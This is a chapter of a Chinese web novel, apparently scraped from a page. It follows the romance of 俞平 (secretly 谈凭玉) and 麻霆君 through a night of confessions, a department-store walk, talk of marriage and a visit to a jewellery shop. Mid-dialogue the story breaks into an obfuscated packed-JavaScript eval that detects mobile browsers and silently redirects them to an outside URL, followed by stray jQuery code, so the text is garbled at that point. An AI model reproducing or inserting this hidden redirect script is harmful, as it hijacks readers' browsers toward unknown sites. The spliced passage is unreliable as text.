麻霆君只把他接进来。俞平缩在床上,不敢面对一切。
谈文翡的车早走了,开得凶,不知道麻霆君有没有听见。卧室里还是暗的,俞平攥着枕头,手脚缩在一起,织一个小小的茧,织点心安理得出来。
床头柜落了一杯温水,再听见麻霆君钻在他边上。他更加睡不着了,连点装睡的心思都没有,一点点攀起来,捧着玻璃杯,靠水温捂得足够开口说话。
他道:“你怎么醒了?”
麻霆君笑得略带歉意,道:“我肚子有点饿,想起来找吃的。”
“你是醒了,还是从来没睡着过?”
“没睡着。”
俞平把灯开了。
麻霆君比他更严肃,试探性把他捞在怀里。他不肯。麻霆君便可怜兮兮靠在他肩上,为了不让他吃力,全靠自己肩颈撑着,道:“俞平。”
直到俞平应了声,麻霆君才敢继续:“我是清楚了你的过往才开始追求你的,我很爱你。有些话你现在说不出口……也许我们还有很长时间,你可以慢慢来。”
俞平顿了很久,才往麻霆君身上靠,道:“你有猜过什么吗。”
麻霆君道:“我猜来猜去,只想得出谈家的人找你。你也是爱我的,不想让我跟着苦恼,所以才没告诉我。”
麻霆君倒是比他想象中聪明点,或者从麻霆君下定决心那一刻,他就已经低估了太多;不过什么线索通向的都是事实,猜不到才稀奇。
他鼓起勇气,吻了麻霆君的额角,道:“你有什么想问我的,我能够保证坦诚回答你。”
他希望麻霆君能问他到底骗了什么,最坏的不过现在叫麻霆君戳穿了,没有拆礼物盒子的快感,顶多无趣味了一些。麻霆君爱错了人,一场空欢喜的事情,可他不愿脱身了。
他爱麻霆君,不想继续挣扎,有麻霆君愿意在门口等他,这一刻就够他全心全意托付了——
麻霆君道:“你肚子饿吗?”
俞平怔了怔。玻璃杯被他捂热了,感觉不出握在手里,他全身的力气拿来给心跳,叫杯子滚在床上,还当要换个地方躺。水早被他喝空了。
麻霆君拾起杯子,笑道:“你是仙子,从来不会饿的,不过应该都是我太馋。那么,身上疼吗?”
俞平道:“还好。”
麻霆君把他抱在身上,锤他的后背,道:“床上我是生疏,按摩是老手了。我常给爹娘做按摩,不知道有没有告诉过你?”
他顺势往侧边躺倒,脸刚好埋在被单里,半晌湿了眼眶,道:“麻霆君,我什么都骗了你!我连名字都是假的,我根本不是俞平!”
麻霆君笑道:“你不是俞平,难道是凭玉嚜。”
他咬着下唇,点不了头。
麻霆君逗他逗不开心,又絮絮叨叨地道:“我是从来不撒谎,所以也不喜欢别人骗我。可如果是你,又觉得坦诚不该是负担……我早知道你有难言之隐,还是来接近你了。骗了就骗了,没什么要紧的,就当是我活该。”
俞平忍着抽噎,轻轻道:“可我真的是凭玉。”
麻霆君笑道:“除了你以外,我还有两个恋人,一个是平儿宝贝,一个是宝贝平儿。”
“我真没骗你。”
“那再加一个俞平宝贝,好不好?”
按摩要从肩膀一路向下,俞平的腿实在放松不了,紧紧绷着,叫麻霆君无从下手。他翻身面对着麻霆君,胆小道:“说好了,以后也不准怨我。”
麻霆君笑道:“嗳,我宝贝你都嫌没时间,怎么有空来怨你?”
俞平起身吻了他。
一觉睡到次日中午,早餐午餐都并在一起了。过了午市,只好打电话额外叫餐。俞平闻到香味睁开眼,挣扎着爬不起来,迟觉浑身疼痛难耐。
麻霆君早起床了,也不在卧室。
俞平咬紧牙关,先爬起来找支票。昨晚实在太累,忘记外套脱在哪里。按照麻霆君一贯以来的好习惯,果真在衣橱里找到了。
口袋里的支票原封不动,展开便是谈文翡趾高气扬的签名。叠痕只有原先的几道,也看不出有没有被人拆开过。他不信麻霆君没有拆开看过。
他没什么穿衣服的心思,随便扯了几件深颜色的,再把支票攥在手里。转身时恰好面对穿衣镜,才看见遍体鳞伤。他皮肤白,光是看着就起一身鸡皮疙瘩,难怪麻霆君又是甜言蜜语又是按摩,比他还心虚!
麻霆君在客厅等他,身上与他不分伯仲,小小一节脖颈便青一块紫一块的。亏是麻霆君闲心足,知道穿衣打扮,领子上多围一块方巾——骂人的话顺到嘴边,俞平讪讪住了口。你情我愿的事情,好像也不好怪谁。
吃过饭去荡马路,算个约会项目。滨江除了江畔实在没什么供正规情侣消遣的,否则就是去花天酒地;
又逢周末,全枢城的闲人都要出门了,马路上汽车来来往往,谈文翡竟也派了一辆,盯梢的掩耳盗铃地看报纸,俞平瞪去一眼,那人便迅速把报纸往上挡着脸。
他啧了声,赌气般地挽上麻霆君的手,拐进百货公司。
一楼卖些洋人的品牌,给百货打肿脸充胖子。也不乏珠宝商铺,算不上特别高档。
看得出麻霆君有闲心研究,俞平倒都是粗略扫过,好的东西又不会摆在外面,何况家里奇珍异宝太多,看什么都黯淡。
往二楼去的楼梯前,遭小小一间店面拦了路。俞平眼前一亮,心情好,口无遮拦了些,道:“这家是香岛开过来,专门做婚戒的。”
又道:“我在香岛住过,偶尔偷偷出去,那天时间多,逛在这里。以为没什么特别的意思,试了几只,听出他们嫌我年纪小,才知道是婚戒。不巧那天被人偶遇,把我的单买了,我倒是没脸戴。”
麻霆君道:“也是。”
这话说得胆战心惊,都不像是麻霆君讲的出口的语气了。他转头对上麻霆君眼神,叫两个人都心虚。此时此刻,一切好像都太不合时宜。
俞平尴尬一笑,道:“嗳,霆君,我不是在向你求婚哦。”
幸而麻霆君也笑:“我没往这方面想。”
他拉着麻霆君上楼,没话找话:“那你想过没有?”
麻霆君思索片刻,道:“真要求婚,也是我的责任吧。”
俞平止不住在心里朝他翻白眼:做四爷的大度些包容些,让他逞足威风,真把自己当什么顶天立地的角色了!
“不行。”俞平道,“等我以后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185628|149246||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有钱了,我给你买。”
仗着楼梯上没别人,麻霆君来搂他,道:“哎呀,平儿,我怎么舍得你给我买?”
俞平在他怀里,气鼓鼓不减,道:“我都便宜给了你,不准我要点名头?”
又道:“不但是我给你买戒指,你还要入我的赘,跟我姓俞。”
麻霆君道:“你是两个字的名字,我也要学你,‘俞霆’,你说怎么样?”
俞平眉毛一挑,道:“答应我了?”
麻霆君笑道:“你都便宜给我了,我有什么好讨价还价的?”
“那么,你就是四奶奶了。”
“为什么是四奶奶?”
“你是五爷,不准我做四爷?”
“四爷,处处都要压我一头。”
百货公司里头的都次,好的东西都是独门独户的,门口派保镖,监狱一样。麻霆君想买什么,俞平都不看好,叫他再热情了也兴致缺缺。
看他气馁,俞平迟迟有些过意不去。料想谈文翡的那些保镖绝没有闲心逛百货公司,背准了地图也会迷路,他特地与麻霆君从偏门绕出去,穿过边上小巷,另有条大街。
街旁都是洋房,最高不过三层,卖东西的独门独户。有一家与他的料想全部符合,门口还挂锁。
却是家珠宝店。
两个男人进珠宝店,总有一种来挑礼物的蹩脚感觉,枢城对同性恋司空见惯不假,却是心照不宣。俞平怕那些柜员自作聪明或者不聪明,都叫他们下不来台;他倒是真心想给麻霆君买点东西,便犹豫着进不进去。
麻霆君也有此意。两个人都磨磨蹭蹭,便是彻底迈不开步子。他责任心更重,主动挑起,道:“如果我真的向你求婚了,你会答应吗?”
俞平道:“不是说等以后么?”
“我姐姐的结婚戒指订了六个月,我看这里比她的还要高档,不知道要等多久。不如我们先买了,兴许年底就能戴上。”
他才想起俞平那通插科打诨,又笑道,“我买回来,你向我求婚,这总好了。”
俞平笑道:“其实谈四给我留过一笔钱,刚好给你买个礼物。况且花光了就和他两清,我再也不和你提他了,你看如何?”
他打发麻霆君去橱窗。
开在滨江区的珠宝店,有自命不凡的,一有好东西必先去谈公馆排队。家里姨娘心情好就多挑点,顺手找小石头给他镶个首饰。毕竟男孩子戴太大的石头不好看,缺乏男子气概。
看这家派头,约莫也是谈公馆的常客。俞平心里大致有数,上前去门口。门口除了两个体壮的门卫,便是个稍显瘦小的中年男人,留着说场面话的。
俞平道:“如果店里有客人,请帮忙清场。三十分钟之内我都愿意等。”
他口气不小,连门卫也皱着眉头。那中年男人秉持一贯冷冰冰的口吻,礼貌地道:“店里目前没有其他客人,可是这位先生,我们只接受提前预约的。”
俞平道:“要提前多久?”
“十天以上。先生。”
“我有预约。”
门口三人面面相觑一阵,中年男人低头翻一阵簿子,道:“请问是以谁的名义登记的?”
“谈凭玉。”